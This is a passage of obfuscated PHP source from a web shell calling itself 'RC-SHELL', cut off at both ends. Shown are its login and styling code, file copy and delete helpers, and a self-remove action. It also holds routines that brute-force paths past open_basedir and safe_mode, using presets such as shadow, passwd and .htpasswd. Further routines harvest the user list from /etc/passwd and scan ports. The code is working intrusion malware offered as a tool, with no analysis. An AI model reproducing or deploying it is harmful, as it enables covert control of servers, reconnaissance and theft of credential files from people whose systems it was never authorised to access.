z10e(z7i(z7l(z7o('http:\/\/whois.domaintools.com\/'.$saddr,'1','POST').z8v(z9s(\"4\"),'0').z9z().z9c(5).z7o('http:\/\/www.domaintools.com\/research\/traceroute\/?query='.$saddr,'1','POST').z8v(z9s(\"5\"),\"0\").z9z(),'6','5').z7e(z5c(array('act'=>'selfremove','d'),z8v(z9s(\"6\"),'0')).z9c(5).z5c(array('act'=>'logout','d'),z8v(z9s(\"7\"),'0')),'6','5')),'6');echo z10e(z7i(z6x(z9s(\"8\"),'2','2').(($linux)?z6x(z9s(\"9\"),'2'):'').z6x(z9s(\"1\"),'2').z6x(z9s(\"10\"),'2').z6x(z9s(\"11\"),'2').z6x(z9s(\"12\"),'2').z6x(z9s(\"13\"),'2').z6x(z9s(\"14\"),'2').z6x(z9s(\"15\"),'2').z6x(z9s(\"16\"),'2').z6x(z9s(\"17\"),'2').z6x(z9s(\"18\"),'2')).z7i(z6x(z9a(),'3','2').(($linux)?z6x(@php_uname('r'),'3'):'').z6x(z5k(),'3').z6x($dtotal.' \/ '.$dfree,'3').z6x($www,'3').z6x(($bsafe?z6y(z9s(\"19\"),'nr'):z6y(z9s(\"20\"),'rw')),'3').z6x(($bopendir?z6y(z9s(\"21\"),'nr'):z6y(z9s(\"424\"),'rw')),'3').z6x(($bcurl?z6y(z9s(\"21\"),'rw'):z9s(\"22\")),'3').z6x(($bmysql?z6y(z9s(\"21\"),'rw'):z9s(\"22\")),'3').z6x(($bmssql?z6y(z9s(\"21\"),'rw'):z9s(\"22\")),'3').z6x(($boracle?z6y(z9s(\"21\"),'rw'):z9s(\"22\")),'3').z6x(($bpostgres?z6y(z9s(\"21\"),'rw'):z9s(\"22\")),'3')),'3');}function z3l($login=0){global $act,$use_images,$sh_exec,$safe_exec,$ft,$nogradient;echo '<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.01 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/html4\/loose.dtd\">\r\n<html>\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text\/html\">\r\n'.($use_images?'<link rel=\"shortcut icon\" href=\"?act=i&amp;img=exe\">':'').'\r\n'.((!$login)?'<title>[ RC-SHELL v'.z7x('0').(!@empty($_SERVER[\"SERVER_NAME\"])?' - '.$_SERVER[\"SERVER_NAME\"]:'').(!@empty($_SERVER[\"SERVER_ADDR\"])?' - '.$_SERVER[\"SERVER_ADDR\"]:'').' ]<\/title>':'<title>'.z9s(\"0\").'<\/title>').'\r\n<style type=\"text\/css\">\r\nbody, table, tr, td, div, select, input, textarea, pre, code { font: 100% '.z9w(\"fontfam\").'; text-decoration: none; }\r\ntd, div { max-width: '.z7x('5',\"width\").'px; }\r\ninput, select, textarea { border: 0; padding: 0; }\r\ninput, select, textarea { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; -ms-box-sizing: border-box; }\r\ninput::-moz-focus-inner { border: 0;padding: 0; }\r\nbody { background-color: '.z9w(\"bodybg\").'; font-family: '.z9w(\"fontfam\").' !important; font-size: 10px !important; color: '.z9w(\"fontcolor\").';}\r\n*:focus {outline: none;}\r\n.but1, .but2, .but3, .actbut, .but1:active, .but2:active, .but3:active .actbut:active { border: 1px solid #cccccc; margin-left: 1px; text-shadow: 1px 1px 2px #ffffff; vertical-align: middle; }\r\n.but1, .but2, .but3, .actbut { '.z2o(\"#F5F5F5\",\"#E0E0E0\").' }\r\n.but1:hover, .but2:hover, .but3:hover, .actbut:hover { '.z2o(\"#E0E0E0\",\"#F5F5F5\").' cursor: pointer; }\r\n.but1 { width: 28px; height: 18px; font-size: 10px; font-weight: bold; }\r\n.but2 { color: #4F4F4F; padding: 0 10px 0 10px; height: 20px; font-size: 10px; }\r\n.actbut { color: #4F4F4F; padding: 0 10px 0 10px; height: 18px; font-size: 10px; font-weight: normal; }\r\n'.(($login)?'\r\n.login { background: '.z9w(\"tablebg\").'; border: 1px solid '.z9w(\"tableborder\").'; -moz-box-shadow: '.z9w(\"tableshadow\").' 0 0 8px; -webkit-box-shadow: 0 0 8px '.z9w(\"tableshadow\").'; box-shadow: 0 0 8px '.z9w(\"tableshadow\").'; margin-top: 150px; padding: 10px; text-align: left; }\r\n.login td { padding: 0; }\r\n.login input {  background-color: #FFFFFF; border: 1px solid #CCCCCC; color: #333333; margin: 1px; margin-right: 0; height:20px; width:150px; font-size: 10px; text-shadow: 1px 1px 5px #dddddd; vertical-align: middle; }\r\n.lerror { color: '.z9w('errcolor').'; padding-bottom: 10px !important; }\r\n':'\r\n.container { background: '.z9w(\"tablebg\").'; width: '.z7x('5',\"width\").'px; border: 1px solid '.z9w(\"tableborder\").'; -moz-box-shadow: '.z9w(\"tableshadow\").' 0 0 8px; -webkit-box-shadow: 0 0 8px '.z9w(\"tableshadow\").'; box-shadow: 0 0 8px '.z9w(\"tableshadow\").'; }\r\nform { display: inline; }\r\nlabel { display: inline-block; vertical-align: baseline; }\r\na { text-decoration: none; }\r\n.links, .links:active, .links:visited { background-color: transparent; color: '.z9w(\"tlinkcolor\").'; text-shadow: 1px 1px 3px '.z9w(\"tlinkshadow\").'; padding: 0; font-size: 10px; font-weight:normal; vertical-align: middle; vertical-align: inherit !important; }\r\n.links:hover { color: '.z9w(\"tlinkcolorhover\").'; cursor: pointer; }\r\n.slinks { background-color: transparent; color: '.z9w('dircolor').'; font-size: 11px; font-weight: normal; }\r\n.slinks:hover { cursor: pointer; }\r\n.sinfo { width: 100%; }\r\n.tdsinfo { '.z2o(z9w(\"tbarbg1\"),z9w(\"tbarbg2\")).' border-bottom: 1px solid '.z9w(\"tbarborderb\").'; border-top: 1px solid '.z9w(\"tbarbordert\").'; padding: 4px; }\r\n.tdsinfo .links { font-size: 9px; }\r\n.tdsinfo span { vertical-align: middle; }\r\n.topcf { vertical-align: middle; }\r\n.topt { '.z2o(z9w(\"topbg1\"),z9w(\"topbg2\")).' border-top: 1px solid '.z9w(\"topborder1\").'; color: '.z9w(\"topcolor\").'; text-shadow: 1px 1px 5px '.z9w(\"topshadow\").'; padding-top: 10px; font-size: 9px; font-weight: bold; vertical-align: middle; }\r\n.topc { background: '.((@isset($nogradient)&&$nogradient)?z9w(\"topbg1\"):z9w(\"topbg2\")).'; color: '.z9w(\"topcolor\").'; padding-bottom: 10px; vertical-align: middle; }\r\n.nav { '.z2o(\"#ffffff\",\"#f3f3f3\").' border-bottom: 1px solid #f0f0f0; padding: 2px 0 2px 2px; width: 100%; }\r\n.footer { width: 100%; }\r\n.tdfooter { '.z2o(z9w(\"footerbg1\"),z9w(\"footerbg2\")).' border-top: 1px solid '.z9w(\"footerborder1\").'; padding: 3px; color: '.z9w(\"footercolor\").'; text-shadow: 1px 1px 5px '.z9w(\"footershadow\").'; font-size: 9px; font-weight: bold; vertical-align: middle; }\r\n.headnfo { width: 100%; }\r\n.ql { width: 100%; }\r\n.tdql { background-color: transparent; border-top: 1px solid '.z9w(\"qlbg2\").'; border-bottom: 3px solid #E0E0E0; }\r\n.ql1, .ql2, .qlback { font-size: 10px; font-weight: bold; }\r\n.ql1 { '.z2o(\"#fefefe\",\"#E0E0E0\",1).' border: 1px solid #EFEAEF; border-bottom: 0; color: #030303; width:100%; height: 22px; text-shadow: #cccccc 2px -1px 10px; }\r\n.ql2 { '.z2o(z9w(\"qlbg1\"),z9w(\"qlbg2\"),1).' color: '.z9w(\"qlcolor\").'; border-top: 1px solid '.z9w(\"qlborder\").'; border-left: 0; border-right: 0; border-bottom: 1px solid #EFEAEF; width:100%; height: 22px; text-shadow: '.z9w(\"qlshadow\").' 2px -1px 10px; }\r\n.qlback { '.z2o(z9w(\"qlbg1\"),z9w(\"qlbg2\"),1).' border-top: 1px solid '.z9w(\"qlborder\").'; border-bottom: 1px solid #EFEAEF; color: '.z9w(\"qlcolor\").'; width:100%; text-shadow: '.z9w(\"qlshadow\").' 2px -1px 10px; height: 22px; cursor: pointer; }\r\n.ql1:hover { cursor:pointer; }\r\n.ql2:hover, .qlback:hover { color: '.z9w(\"qlcolorhover\").'; cursor: pointer; }\r\n.size1, .size2, .size3, .size4, .size5, .size6, .size7, .size8, .size9, .size10 {  background-color: #FFFFFF; border: 1px solid #CCCCCC; color: #333333; margin: 1px; margin-right: 0; font-size: 10px; text-shadow: 1px 1px 5px #dddddd; vertical-align: middle; }\r\n.size1, .size2, .size3, .size5, .size6, .size7, .size8, .size9, .size10  { height: 20px;}\r\n.size1 { width: 300px; }\r\n.size2 { width: 65px; }\r\n.size3 { width: 200px; }\r\n.size4 { width: 65px; height: 18px; }\r\n.size5 { width: 100px; }\r\n.size6 { width: 150px; }\r\n.size7 { width: 40px; }\r\n.size8 { width: 99%; min-width: 370px; }\r\n.size9 { width: 205px; }\r\n.size10 { width: 550px; }\r\n.list1 { background: #F2f2f2; }\r\n.list2 { background: #F5F5F5; }\r\n.list3 { background: #E0E0E0; }\r\n.list1:hover, .list2:hover { background-color: #E0E0E0; }\r\n.list3:hover { background: #CCCCCC; }\r\n.tdlsh1, .tdlsh2, .tdph { background-color: transparent; border-top: 1px solid #DDDDDD; border-right: 1px solid #FFFFFF; border-bottom: 1px solid #CCCCCC; border-left: 1px solid #CCCCCC; color: #333333; text-shadow: 1px 1px 3px #ffffff; height: 20px; }\r\n.tdlsh1, .tdlsh2 { padding-left: 2px; padding-right: 5px; min-width: 60px; height: 20px; }\r\n.tdlsh1 { border-left: 0; min-width: 350px; }\r\n.tdph { padding-left: 2px; }\r\n.tdpl { background-color: transparent; border-left: 1px solid #dddddd; border-right: 1px solid #ffffff; padding: 2px; min-width: 40px; min-height: 20px; word-break: break-all; }\r\n.head { background-color: transparent; border:0; min-width: 100%; color: #333333; text-shadow: 1px 1px 3px #ffffff; margin: 0; padding:0; font-size: 10px; font-weight: normal; text-align: left; }\r\n.head:hover { cursor: pointer; }\r\n.tdlsh1, .tdlsh2, .tdph { '.z2o(\"#F5F5F5\",\"#E0E0E0\").' height: 22px !important; }\r\n.tdlsh1:hover, .tdlsh2:hover, .tdph:hover { '.z2o(\"#fefefe\",\"#dddddd\").' }\r\n.tdlsf { padding-left: 2px; min-width: 300px; height: 20px; vertical-align: middle; }\r\n.tdlsfn, .tdlsf1 { padding-left: 2px; padding-right: 5px; min-width: 60px; height: 20px; vertical-align: middle; }\r\n.tdlsf1 { border-left: 1px solid #FFFFFF; min-width: 200px; }\r\n.tdhead { '.z2o(\"#E0E0E0\",\"#efefef\",1).' border-top: 1px solid #f3f3f3; border-bottom: 1px solid #e0e0e0; border-right:0; color: #030303; padding-left: 3px; height: 20px; font-size: 9px; font-weight: bold; }\r\n.tdhead td, .tdlbl { color: #333333; padding: 3px; font-weight: bold; text-shadow: 1px 1px 3px #ffffff; }\r\n.tdlbl { width: 150px; }\r\n.tdmail { padding: 0 10px 0 10px;}\r\nimg { vertical-align: middle; }\r\n.fimg { border: 0; padding:0; padding-right:1px; vertical-align: middle; }\r\n.tfilter { width: 100%; }\r\n.tdfilter { '.z2o(\"#efefef\",\"#E0E0E0\").' border-top: 1px solid #fefefe; color: #333333; padding: 2px; font-weight: bold; }\r\n.nr, .nw, .rw { background-color: transparent; font-weight:normal; text-tecoration: none; }\r\n.nr { color: '.z9w('errcolor').'; }\r\n.nw { color: '.z9w('normalcolor').'; }\r\n.rw { color: '.z9w('okcolor').'; }\r\n.dirlist, .filelist { background-color: transparent; border: 0;  padding: 0; min-width: 80%; font-size: 11px; text-decoration: none; text-align: left; vertical-align: middle !important; }\r\n.dirlist { color: '.z9w('dircolor').'; }\r\n.filelist { color: '.z9w('normalcolor').'; }\r\n.dirlist:hover, .filelist:hover { cursor: pointer; }\r\npre { background-color: #FAFAFA; color:#333333; border: 1px solid #CCCCCC; margin-top:0; padding: 5px; max-width: 1000px; max-height: 350px; text-align: left; overflow-x: auto; white-space: pre-wrap; white-space: -moz-pre-wrap !important;  white-space: -pre-wrap; white-space: -o-pre-wrap; word-wrap: break-word; }\r\npre code { display: block; }\r\n.ftactive, .ftcompat, .ftother { '.z2o(\"#f3f3f3\",\"#cccccc\").' border: 1px solid #BBBBBB; margin:2px 1px 2px 0; padding: 2px 8px 2px 8px; height:20px; font-size: 10px !important; }\r\n.ftactive:hover, .ftcompat:hover, .ftother:hover { '.z2o(\"#CCCCCC\",\"#F3F3F3\").' cursor: pointer; }\r\n.ftactive { '.z2o(\"#CCCCCC\",\"#F3F3F3\").' color: #000000; }\r\n.ftcompat { color: '.z9w('okcolor').'; }\r\n.ftother { color: '.z9w('normalcolor').'; }\r\n.mbut1, .mbut2 { border: 1px solid #BBBBBB; margin: 2px 1px 2px 0; padding: 1px 5px 1px 5px; height: 20px; font-size: 10px; }\r\n.mbut1 { '.z2o(\"#F3F3F3\",\"#CCCCCC\").' }\r\n.mbut2 { '.z2o(\"#CCCCCC\",\"#F3F3F3\").' }\r\n.mbut1:hover, .mbut2:hover { '.z2o(\"#cccccc\",\"#f3f3f3\").' cursor: pointer; }\r\n.iframe { background-color: #FFFFFF; border: 1px solid #CCCCCC; width: 99%;  height: 300px; vertical-align: middle; }\r\n.console { background-color: transparent; color: #333333; border: 0; width: 100%; height: 300px; }\r\n.tgeneric, .tedit, .txmail { border: 1px solid #cccccc; margin-top: 0; margin-bottom: 1px; width: 99%; }\r\n.tgeneric { height: 150px; }\r\n.tedit { height: 300px; text-align: left; }\r\n.txmail { margin-top: 1px; width: 100%; height: 100px; }\r\n.tsql1, .tsql2 { border: 1px solid #CCCCCC; margin-left: 1px; width: 205px; height: 60px; }\r\n.tsql2 { width: 99% !important; }\r\n.tinj { border: 1px solid #CCCCCC; margin: 1px; width: 300px; height: 46px; }\r\n.tahex { width: 99%; margin-bottom:1px;}\r\n.thex1, .thex2, .thex3 { border: 1px solid #CCCCCC; padding-top:1px; padding-left:3px; font: 13px \"monospace\", monospace; line-height: 20px; text-align: left; }\r\n.thex1 { color: #000000; }\r\n.thex2 { background-color: #FFFFFF; border-left: 0; border-right: 0; }\r\n.thex3 { color: #000000;}\r\n.idimg, .ifimg { '.z0i('3').' margin-right:2px; width: 16px; height: 16px; vertical-align: middle; }\r\n.idimg { '.z2o(z9w('idirbg1'),z9w('idirbg2'),1).' border: 1px solid '.z9w('idirborder').';  }\r\n.ifimg { '.z2o(z9w('ifilebg1'),z9w('ifilebg2')).' border: 1px solid '.z9w('ifileborder').'; }\r\n.idimg:hover, .ifimg:hover { cursor: pointer; }\r\n.selector, .divls { max-height:350px; height:350px !important; overflow: auto; }\r\n.selector { border-top: 1px solid #FFFFFF; }\r\n.scroll { background-color: transparent; border:0; margin:0; padding:0; max-width: 1024px; max-height:350px; overflow-y: auto; overflow-x: auto; text-align:left; }\r\n.dwidth { width: 99%; }\r\n.barbg { '.z2o(\"#dddddd\",\"#ffffff\").' border:1px solid #cccccc; margin-right: 5px; padding:0; width:100px; height:7px; vertical-align:middle; float:left; }\r\n.barfil { '.z2o(\"#85FF00\",\"#469F0B\").'; height:7px; padding:0; }\r\n').'\r\n<\/style>\r\n<\/head>\r\n<body'.(($act==\"cmd\")?' onload=\"document.command.cmd.focus();\"':'').'>'.(@in_array($act,array('ls','search','ftp'))?z3n():'').($act==\"f\"&&@isset($ft)&&$ft==\"edit\"?z1c():'').'\r\n'.z7h(($login?'1':'0')).z6g().z7k();}function z0g($c,$s,$t){return '<input type=\"submit\" title=\"'.$t.'\" value=\"&nbsp;\" style=\"border:1px solid '.z9w(\"topborder1\").'; background: '.$c.';  width: '.$s.'px; height: '.$s.'px; vertical-align: middle; vertical-align: inherit !important; cursor: pointer;\">';}function z1s($type){return '<input type=\"submit\" class=\"'.($type=='d'?'idimg':'ifimg').'\" value=\"&nbsp;\">';}function z0i($i){return ' -moz-border-radius: '.$i.'px; -webkit-border-radius: '.$i.'px; border-radius: '.$i.'px;';}function z2o($s,$e,$d=''){global $nogradient;if(@isset($nogradient)&&$nogradient)return 'background: '.(($d=='')?$s:$e).';';return 'background: '.(($d=='')?$s:$e).';\r\nfilter: progid:DXImageTransform.Microsoft.gradient(startColorstr=\\''.$s.'\\', endColorstr=\\''.$e.'\\');\r\nbackground: -webkit-gradient(linear, left top, left bottom, from('.$s.'), to('.$e.'));\r\nbackground: -moz-linear-gradient(top, '.$s.', '.$e.');\r\nbackground: -o-linear-gradient(top, '.$s.', '.$e.');\r\n';}function z3x($login=0){$tc='';foreach(z7x(5,'skins')as $s)$tc.=z5c(array('act','d','color_skin'=>$s),z4p(z0g(z9w(\"topbg1\"),\"11\",@strtoupper($s))).\" \");echo(!$login?z7s(z7i(z9j('RC-SHELL v'.z7x('0').' : '.\"PAGE GENERATED IN \".(@round(z10r()-start,4)).\" SECONDS\",'4').z7e($tc,'4')),'2'):'').z7g().z7u().z10w().'<\/body><\/html>';exit();}function z1z($n,$v='',$e=0,$p='',$d='',$s=false,$h=false){$_COOKIE[$n]=$v;return@setcookie($n,$v,$e,$p,$d,$s,$h);}function z1o($n){if(@isset($_COOKIE[$n]))unset($_COOKIE[$n]);return@setcookie($n,NULL,-1);}function z1u($n){return(@isset($_COOKIE[$n])?$_COOKIE[$n]:'');}function z1w(){foreach(array('bcopy','bcut')as $t){global ${$t};if(@count(${$t})>0){$_SESSION[$t]=${$t};$c=@serialize(${$t});z1z($t,$c);}else{z0u($t);z1o($t);}}}function z1g(){foreach(array('bcopy','bcut')as $t){global ${$t};if(@isset($_SESSION[$t])){${$t}=$_SESSION[$t];}elseif(($c=z1u($t))!=''){${$t}=@unserialize($c);}else{${$t}=array();}}}function z0a($a=1){foreach(array('bcopy','bcut')as $t){global ${$t};if(@isset(${$t})&&$a)unset(${$t});z0u($t);z1o($t);}}function z1l($f,$t){global $bcopy,$bcut;z0a(0);$u=(($t=='bcopy')?'bcut':'bcopy');foreach(${$u}as $k=>$v){if(${$u}[$k]==$f)unset(${$u}[$k]);}if(!@in_array($f,${$t})){${$t}[]=$f;}else{foreach(${$t}as $k=>$v){if(${$t}[$k]==$f)unset(${$t}[$k]);}}}function z4g(){global $color_skin;$l=z7x('1');$zu=z1u('zu');$zp=z1u('zp');if($l['use_auth']&&z7r('md5')){$s=$e=0;if(@isset($_SESSION['ok'])||($zu==$l['md5_user']&&$zp==$l['md5_pass'])){$s=1;}elseif(@isset($_POST['zu'])&&@isset($_POST['zp'])){if(@md5($_POST['zu'])==$l['md5_user']&&@md5($_POST['zp'])==$l['md5_pass']){$_SESSION['ok']=1;z1z('zu',@md5($_POST['zu']));z1z('zp',@md5($_POST['zp']));$s=1;}else{$e=1;}}if(!$s){$color_skin=z7x('5','default_skin');z3l(1);echo z9l().z7s(z7i(z9j(z8e(z9s(\"1\"))).z9j(z6i('zu',''))).z7i(z9j(z8e(z9s(\"2\"))).z9j(z6a('zp',''))).z7i(z9j('').z9j(z8v(z9s(\"3\"),\"7\")))).z9z();z3x(1);exit();}}}function z0u($n){if(@isset($_SESSION[$n]))unset($_SESSION[$n]);}function z0k($n){return(@isset($_SESSION[$n])?$_SESSION[$n]:false);}function z4y(){z1o('zu');z1o('zp');z0u('ok');if(@count($_SESSION)>0){foreach($_SESSION as $k=>$v)z0u($k);}@session_destroy();}function z7n($f){if(!z0n($f)){return '0';}elseif(!z0v($f)){return '1';}else return '2';}function z5h($f){$c=array(\"red\",\"white\",\"green\");return $c[(z7n($f))];}function z6h($f){$c=array(\"nr\",\"nw\",\"rw\");return $c[(z7n($f))];}function z7c($s){if(!@is_numeric($s))return '0 B';$m=1024;$u=@explode(' ','B KB MB GB TB PB');for($i=0;$s>$m;$i++){$s\/=$m;}return@round($s,2).' '.$u[$i];}function z0e($errno,$errstr,$errfile,$errline){global $safeDirArr,$c,$i;preg_match(\"#SAFE\\s+MODE\\s+Restriction\\s+in\\s+effect(.*)not\\s+allowed\\s+to\\s+access\\s+(.*)\\s+owned\\s+by\\s+uid(.*)#\",$errstr,$o)||preg_match(\"#open_basedir\\s+restriction(.*)File\\s*\\((.*)\\)\\s+is\\s+not#\",$errstr,$o);if($o){$safeDirArr[$c]=$o[2];$c++;}}function z2c($dir){global $win,$safeDirArr;if(z7r('glob')){$error_reporting=@ini_get('error_reporting');@error_reporting(E_WARNING);@ini_set(\"display_errors\",1);$root=\"\/\";if($dir)$root=$dir;$c=0;$safeDirArr=array();@set_error_handler(\"z0e\");$chars=\"_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";for($i=0;$i<@strlen($chars);$i++){$path=\"{$root}\".((@substr($root,-1)!=\"\/\")?\"\/\":NULL).\"{$chars[$i]}\";$prevD=$safeDirArr[@count($safeDirArr)-1];@glob($path.\"*\");if($safeDirArr[@count($safeDirArr)-1]!=$prevD){for($j=0;$j<@strlen($chars);$j++){$path=\"{$root}\".((@substr($root,-1)!=\"\/\")?\"\/\":NULL).\"{$chars[$i]}{$chars[$j]}\";$prevD2=$safeDirArr[@count($safeDirArr)-1];@glob($path.\"*\");if($safeDirArr[@count($safeDirArr)-1]!=$prevD2){for($p=0;$p<@strlen($chars);$p++){$path=\"{$root}\".((@substr($root,-1)!=\"\/\")?\"\/\":NULL).\"{$chars[$i]}{$chars[$j]}{$chars[$p]}\";$prevD3=$safeDirarr[@count($safeDirArr)-1];@glob($path.\"*\");if($safeDirArr[@count($safeDirArr)-1]!=$prevD3){for($r=0;$r<@strlen($chars);$r++){$path=\"{$root}\".((@substr($root,-1)!=\"\/\")?\"\/\":NULL).\"{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}\";@glob($path.\"*\");}}}}}}}$safeDirArr=@array_unique($safeDirArr);foreach($safeDirArr as $item)echo@htmlspecialchars(\"{$item}\").\"\\r\\n\";@error_reporting($error_reporting);}}function z3s($dir){if(z7r('realpath')){global $win,$safeDirArr;$chars_rlph=\"_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";$presets_rlph=array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php','shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root','my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs','access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing');if(!$dir){$dir='\/etc\/';};$end_rlph='';$n_rlph='3';$c=0;$safeDirArr=array();$rlpArr=array();$error_reporting=@ini_get('error_reporting');@error_reporting(E_WARNING);@ini_set(\"display_errors\",1);@set_error_handler(\"z0e\");if($realpath=realpath($dir.'\/')){echo $realpath.\"\\r\\n\";}if($end_rlph!=''&&$realpath=realpath($dir.'\/'.$end_rlph)){echo $realpath.\"\\r\\n\";$rlpArr[]=$realpath;}foreach($presets_rlph as $preset_rlph){if($realpath=realpath($dir.'\/'.$preset_rlph.$end_rlph)){echo $realpath.\"\\r\\n\";$rlpArr[]=$realpath;}}for($i=0;$i<strlen($chars_rlph);$i++){if($realpath=realpath($dir.\"\/{$chars_rlph[$i]}\".$end_rlph)){echo $realpath.\"\\r\\n\";$rlpArr[]=$realpath;}if($n_rlph<=1){continue;};for($j=0;$j<strlen($chars_rlph);$j++){if($realpath=realpath($dir.\"\/{$chars_rlph[$i]}{$chars_rlph[$j]}\".$end_rlph)){echo $realpath.\"\\r\\n\";$rlpArr[]=$realpath;}if($n_rlph<=2){continue;};for($x=0;$x<strlen($chars_rlph);$x++){if($realpath=realpath($dir.\"\/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}\".$end_rlph)){echo $realpath.\"\\r\\n\";$rlpArr[]=$realpath;}if($n_rlph<=3){continue;};for($y=0;$y<strlen($chars_rlph);$y++){if($realpath=realpath($dir.\"\/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}\".$end_rlph)){echo $realpath.\"\\r\\n\";$rlpArr[]=$realpath;}if($n_rlph<=4){continue;};for($z=0;$z<strlen($chars_rlph);$z++){if($realpath=realpath($dir.\"\/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}\".$end_rlph)){echo $realpath.\"\\r\\n\";$rlpArr[]=$realpath;}if($n_rlph<=5){continue;};for($w=0;$w<strlen($chars_rlph);$w++){if($realpath=realpath($dir.\"\/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}\".$end_rlph)){echo $realpath.\"\\r\\n\";$rlpArr[]=$realpath;}}}}}}}$safeDirArr=@array_unique($safeDirArr);foreach($safeDirArr as $item){if(!@in_array($item,$rlpArr))echo@htmlspecialchars($item).\"\\r\\n\";}@error_reporting($error_reporting);}}function z4f($d,$t,$b=0){$d=z1i($d);$t=z1i($t);if(@is_dir($d)){if(!z4q($t)){@mkdir($t);@chmod($t,0755);}$h=@opendir($d);while(($o=@readdir($h))!==false){if(($o!=\".\")&&($o!=\"..\")){if(@is_dir(z1a($d).$o)){z4f(z1a($d).$o,z1a($t).$o,$b);}else{@copy(z1a($d).$o,z1a($t).$o);if($b){@unlink(z1a($d).$o);}}}}@closedir($h);if($b){@rmdir($d);}return true;}elseif(@is_file($d)){if(@is_dir($t)){$t=z1a($t).z2h($d);}if($b){if(@copy($d,$t))return@unlink($d);}else{return@copy($d,$t);}}else{return false;}}function z7b($d,$t){return z4f($d,$t);}function z8a($d,$t){return z4f($d,$t,1);}function z8s($d){$d=z1a($d);$h=@opendir($d);while(($o=@readdir($h))!==false){if($o!=\".\"&&$o!=\"..\"&&!z3j($o)){if(!z4j($d.$o)){@unlink($d.$o);}else{z8s($d.$o);}}}@closedir($h);@rmdir($d);return!z4j($d);}function z8d($o){$o=z1i($o);if(@z4j($o)){return z8s($o);}elseif(z4e($o)){return@unlink($o);}else{return false;}}function z8o(){$h=(@empty($_SERVER['HTTPS'])||@strtolower($_SERVER['HTTPS'])=='off'?0:1);$u='http'.(($h?'s':'').':\/\/'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);$m=(@empty($_SERVER['PATH_INFO'])?'QUERY_STRING':'PATH_INFO');$s=$m=='QUERY_STRING'?'?':'';return $u.$s.(@isset($_SERVER[$m])?$_SERVER[$m]:'');}function z8i(){$u=array();$p=z9p(\"\/etc\/passwd\");if($p){$ll=@explode(\"\\n\",$p);foreach(@array_unique($ll)as $l){$s=@explode(\":\",$l);if(@isset($s[0])&&@isset($s[2])&&@isset($s[3])&&@isset($s[5])&&@isset($s[6])&&!@isset($u[$s[0]])){$u[$s[0]]=array($s[2],$s[3],$s[5],$s[6]);}}}elseif(z7r('posix_getpwuid')){for($i=0;$i<65535;$i++){$a=@posix_getpwuid($i);if($a&&@is_array($a)){if(@isset($a['name'])&&!@empty($a['name'])&&!@isset($u[$a['name']])){$u[$a['name']]=array($a['uid'],$a['gid'],$a['dir'],$a['shell']);}}}}return $u;}function z6m($t=0){$a=array();$p=z8i();if(@count($p)>0){foreach($p as $u=>$v)$a[]=(($t)?array($u,$v[2]):$u);}return $a;}if(!z7r('str_repeat')){function str_repeat($i,$c){$r='';for($n=0;$n<$c;$n++)$r.=$i;return $r;}}function z9r($m,$s=0){if(($m&0xC000)===0xC000){$t=\"s\";}elseif(($m&0x4000)===0x4000){$t=\"d\";}elseif(($m&0xA000)===0xA000){$t=\"l\";}elseif(($m&0x8000)===0x8000){$t=\"-\";}elseif(($m&0x6000)===0x6000){$t=\"b\";}elseif(($m&0x2000)===0x2000){$t=\"c\";}elseif(($m&0x1000)===0x1000){$t=\"p\";}else{$t=\"?\";}$a[\"r\"]=($m&00400)>0;$a[\"w\"]=($m&00200)>0;$a[\"x\"]=($m&00100)>0;$b[\"r\"]=($m&00040)>0;$b[\"w\"]=($m&00020)>0;$b[\"x\"]=($m&00010)>0;$c[\"r\"]=($m&00004)>0;$c[\"w\"]=($m&00002)>0;$c[\"x\"]=($m&00001)>0;if($s)return array(\"t\"=>$t,\"o\"=>$a,\"g\"=>$b,\"w\"=>$c);$o[\"r\"]=($a[\"r\"])?\"r\":\"-\";$o[\"w\"]=($a[\"w\"])?\"w\":\"-\";$o[\"x\"]=($a[\"x\"])?\"x\":\"-\";$g[\"r\"]=($b[\"r\"])?\"r\":\"-\";$g[\"w\"]=($b[\"w\"])?\"w\":\"-\";$g[\"x\"]=($b[\"x\"])?\"x\":\"-\";$w[\"r\"]=($c[\"r\"])?\"r\":\"-\";$w[\"w\"]=($c[\"w\"])?\"w\":\"-\";$w[\"x\"]=($c[\"x\"])?\"x\":\"-\";if($m&0x800)$o[\"x\"]=($o[\"x\"]==\"x\")?\"s\":\"S\";if($m&0x400)$g[\"x\"]=($g[\"x\"]==\"x\")?\"s\":\"S\";if($m&0x200)$w[\"x\"]=($w[\"x\"]==\"x\")?\"t\":\"T\";return $t.@join(\"\",$o).@join(\"\",$g).@join(\"\",$w);}function z8c($i,$s,$e){$p='';$k=array('80'=>'Webserver','443'=>'OpenSSL','3306'=>'MySQL','5432'=>'PostgreSQL',);if(z7r('fsockopen')&&z7r('stream_set_timeout')){for($n=$s;$n<=$e;$n++){$c=@fsockopen($i,$n,$en,$es,1);if($c){@stream_set_timeout($c,0,50000);$t=@preg_replace(\"\/(\\r|\\n|[^a-z0-9_&%:;\\.,\\[\\]\\(\\)\\s-])\/i\",\"\",@fread($c,100));$t=(@isset($k[$n])?$k[$n].' '.$t:$t);if(@empty($t))$t=\"Open\";$p.=\"[$i]   Port $n\".((@strlen($n)<5)?@str_repeat(' 